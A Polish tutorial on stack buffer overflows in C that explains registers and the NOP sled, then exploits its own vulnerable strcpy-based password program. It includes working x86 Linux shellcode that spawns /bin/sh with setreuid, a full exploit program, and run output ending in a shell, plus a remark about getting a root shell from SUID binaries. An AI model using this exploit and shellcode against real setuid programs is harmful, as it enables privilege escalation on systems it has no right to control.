Buffer Overflow
by h07 (h07@interia.pl)

Intro

Język C jako język dość niskiego poziomu jest wykorzystywany do tworzenia jak najbardziej efektywnego kodu. Jednym z bardziej popularnych błędów programistycznych jest przepełnienie bufora (buffer verflow). Polega on na nieprzemyślanym używaniu funkcji, które nie sprawdzają długości kopiowanych danych. Konsekwencją tego jest przepełnienie tablicy (bufora) i nadpisanie stosu. Do takich funkcji zaliczamy między innymi: `strcpy()`, `strcat()`, `sprintf()`, `vsprintf()`, `gets()`. Cała ta sytuacja sprawia, iż w dzisiejszych czasach wiele systemów z rodziny UNIX jest podatnych na włamania. Prostymi słowami. Atak buffer overflow polega na przepełnieniu bufora w taki sposób by nadpisać adres powrotny funkcji zdejmowanej ze stosu by wskazywał na binarny obraz funkcji (shellcode) przekazanej do bufora atakowanego programu. W zaistniałej sytuacji wykonywany jest kod, który najczęściej nadaje włamywaczowi prawa superużytkownika (r00t'a).

Podstawowe pojęcia..

Stos - Stos jest obszarem pamięci używanym do "tymczasowego" przechowywania danych istotnych dla programu.

Shellcode - Oryginalne i pierwotne znaczenie tego słowa odnosiło się do kodu źródłowego, który miał za zadanie otworzyć powłokę systemową. W dzisiejszych czasach termin ten oznacza instrukcje procesora powstałe w wyniku skompilowania programu napisanego w języku asembler. Ten specjalnie spreparowany kod wykonuje całą brudną robotę i stanowi rdzeń exploita, który ma jedynie za zadanie dostarczyć go w odpowiednie miejsce w pamięci. Shellcode służy hackerom/crackerom do zdobywania uprawnień superużytkownika.

ESP - Wskaźnik stosu ESP (Extended Stack Pointer), przechowywany w 32 bitowym rejestrze, wskazuje adres wierzchołka stosu.

EBP - 32 bitowy rejestr kładziony na stos wraz z ramką funkcji. Następnie ESP kopiowany jest do EBP. Gdy funkcja zdejmowana jest ze stosu zawartość EBP kopiowana jest spowrotem do ESP a EBP zostaje usuwany. Można przyjąć ze EBP jest "pojemnikiem" na stary ESP a wyżej przedstawione operacje nazywamy prologiem funkcji.

EIP - (Extended Intruction Pointer). 32 bitowy rejestr sterujący. Zawiera on adres następnego rozkazu który zostanie wykonany przez procesor.

Offset - "wewnętrzna odległość w danym segmencie pamięci. Wyobraź sobie, że twoje miasto to pamięć RAM, twoja ulica będzie segmentem, a dom przy ulicy będzie offsetem pamięci. (dom stojący 10 m. od początku ulicy ma offset 10, dom stojący 179 m. od początku ulicy będzie miał offset 179)."

NOP - assemblerowa instrukcja nie robiąca nic :] idealny wypełniacz bufora dzięki któremu odnalezienie shellcod'u na stosie jest o wiele prostsze.

Praktyka..

Przyjrzyjmy się poniższemu programowi.

```
//target.c

#include <stdio.h>
```

```
#include <stdlib.h>

char pass[] = "open";

int main(int argc, char *argv[])
{
char buff[256];
if(argc < 2)
  {
  printf("\n%s <password>\n", argv[0]);
  exit(0);
  }
strcpy(buff, argv[1]);
if(strcmp(buff, pass) == 0)
printf("password ok\n"); else
printf("access denied\n");
return 0;
}
```

Jak widzimy w programie zdeklarowano bufor o pojemności 256 bajtów.

```
char buff[256];
```

Funkcja `strcpy(buff, argv[1]);` kopiuje do ów bufora tablice `argv[1]` która jest parametrem wejściowym programu zawierającym hasło podane przez użytkownika. W praktyce wygląda to tak, iż jeśli podane hasło będzie "większe" niż 256 bajtów przepełni bufor. Naszym zadaniem będzie przepełnienie bufora w taki sposób by nadpisać adres powrotny. W tym celu użyjemy debuggera GDB dołączonego do kompilatora GCC.

[h07@h07 BO]$ gcc -o target target.c

[h07@h07 BO]$ gdb target

(gdb) r `perl -e 'print "A"x276'`
Starting program: /home/h07/BO/target `perl -e 'print "A"x276'`
access denied

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg eip
eip 0x41414141 0x41414141
(gdb) quit

Jak widać 276 znaków podanych jako parametr w zupełności wystarczyłoby nadpisać adres powrotny. W systemie HEX litera “A” ma wartość 41 i z stąd EIP wynosi 0x41414141. Musimy teraz odnaleźć najmniejszą wartość, która wystarcza do nadpisania EIP. Okazuje się ze bufor mniejszy niż 268 bajtów nie powoduje błędu segmentacji wiec, exploit który za chwile napiszemy będzie podawał jako parametr programu “target” (hasło) bufor o rozmiarze 268 bajtów.

```
//exploit.c

#include <stdio.h>
#include <stdlib.h>
#define buff_size 268
#define NOP 0x90
```

```
char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";

int main(int argc, char *argv[])
{
char buffer[buff_size];
long ret_adr, offset=0;

if (argc == 1)
  {
  printf("buffer overflow exploit demo coded by h07\n");
  printf("ussage: %s <offset>\n", argv[0]);
  exit(0);
  }

offset = atoi(argv[1]);

ret_adr = 0xc0000000 - offset;

*((long*)(&buffer[buff_size])) = ret_adr;

printf("[+] return address: 0x%x\n", ret_adr);

memset(buffer, NOP, sizeof(buffer) - strlen(shellcode) - 4);

memcpy(buffer + sizeof(buffer) - strlen(shellcode) - 4, shellcode,
strlen(shellcode));

execl("./target", "target", buffer, NULL);

return 0;
}
```

A teraz czas na omówienie krok po kroku, ponieważ kod ten może wydawać się “kosmiczny”.

```
#define buff_size 256+12 //rozmiar bufora
#define NOP 0x90 //assemblerowa instrukcja NOP
```

Aby shellcod mógł być wykonany musi on zostać odnaleziony na stosie. W dużym stopniu ułatwia to assemblerowa instrukcja NOP, którą wypełnia się bufor pozostawiając miejsce na shellcod i EIP. W takim przypadku adres powrotny może być przybliżony, ponieważ trafienie w szereg instrukcji NOP spowoduje dalszy odczyt aż do napotkania binarnego obrazu funkcji (shellcodu). Nie będę pisał jak stworzyć shellcod bo ten artykuł jest zupełnie o czym innym ale wypadałoby troszkę wyjaśnić, co to tak naprawdę jest..

```
;shellcode.asm
[SECTION .text]

global _start


_start:
        xor eax, eax
```

```
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short ender

starter:

pop ebx
xor eax, eax

mov [ebx+7 ], al
mov [ebx+8 ], ebx

mov [ebx+12], eax
mov al, 11
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x80

ender:
call starter
db '/bin/shNAAAABBBB'
```

Zestaw assemblerowych instrukcji uruchamiających powlokę systemu. W notacji języka C shellcod zapisywany jest jako tablica typu char..

```
char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
```

Przybliżony adres powrotny będziemy uzyskiwać odejmując offset od dna stosu a sam offset będziemy podawać jako parametr uruchomienia exploitu.

```
offset = atoi(argv[1]);

ret_adr = 0xc0000000 – offset;
```

Kolejnym krokiem jest wpisanie adresu kodu powłoki (shellcodu) w ostatnie 4 bajty bufora i to właśnie ów adres zostanie załadowany do rejestru EIP doprowadzając do skoku w miejsce gdzie znajduje się shellcod.

```
*((long*)(&buffer[buff_size])) = ret_adr;
```

Następnie cały bufor wypełniany jest instrukcjami NOP pozostawiając miejsce na shellcode oraz adres powrotny.

```
memset(buffer, NOP, sizeof(buffer) - strlen(shellcode) – 4);
```

Czas na wstawienie shellcodu, jego koniec będzie znajdował się 4 bajty od końca bufora by nie nadpisać adresu powrotnego, który zapisaliśmy tam już wcześniej.

```
memcpy(buffer + sizeof(buffer) - strlen(shellcode) - 4, shellcode,
strlen(shellcode));
```

Ostatnim zadaniem jest uruchomienie “dziurawego” programu podając mu wyżej przygotowany bufor.

```
execl("./target", "target", buffer, NULL);
```

Uruchamiamy exploit..

[h07@h07 BO]$ gcc -o exploit exploit.c
[h07@h07 BO]$ ./exploit
buffer overflow exploit demo coded by h07
ussage: ./exploit <offset>

[h07@h07 BO]$ ./exploit 1500
[+] return address: 0xbffffa24
access denied
Segmentation fault

[h07@h07 BO]$ ./exploit 1900
[+] return address: 0xbffff894
access denied
Segmentation fault

[h07@h07 BO]$ ./exploit 2300
[+] return address: 0xbffff704
access denied
sh-2.05b$

Za trzecim “strzałem” udało się trafić w przybliżony adres powrotny co spowodowało skok do shellcodu i jego uruchomienie. W rezultacie atakowany program uruchomił powlokę systemu. Jeśli “dziurawy” program ma ustawiony atrybut SUID i odwoła się do powłoki systemu dostaniemy rootshell'a :]

```
EoF;
```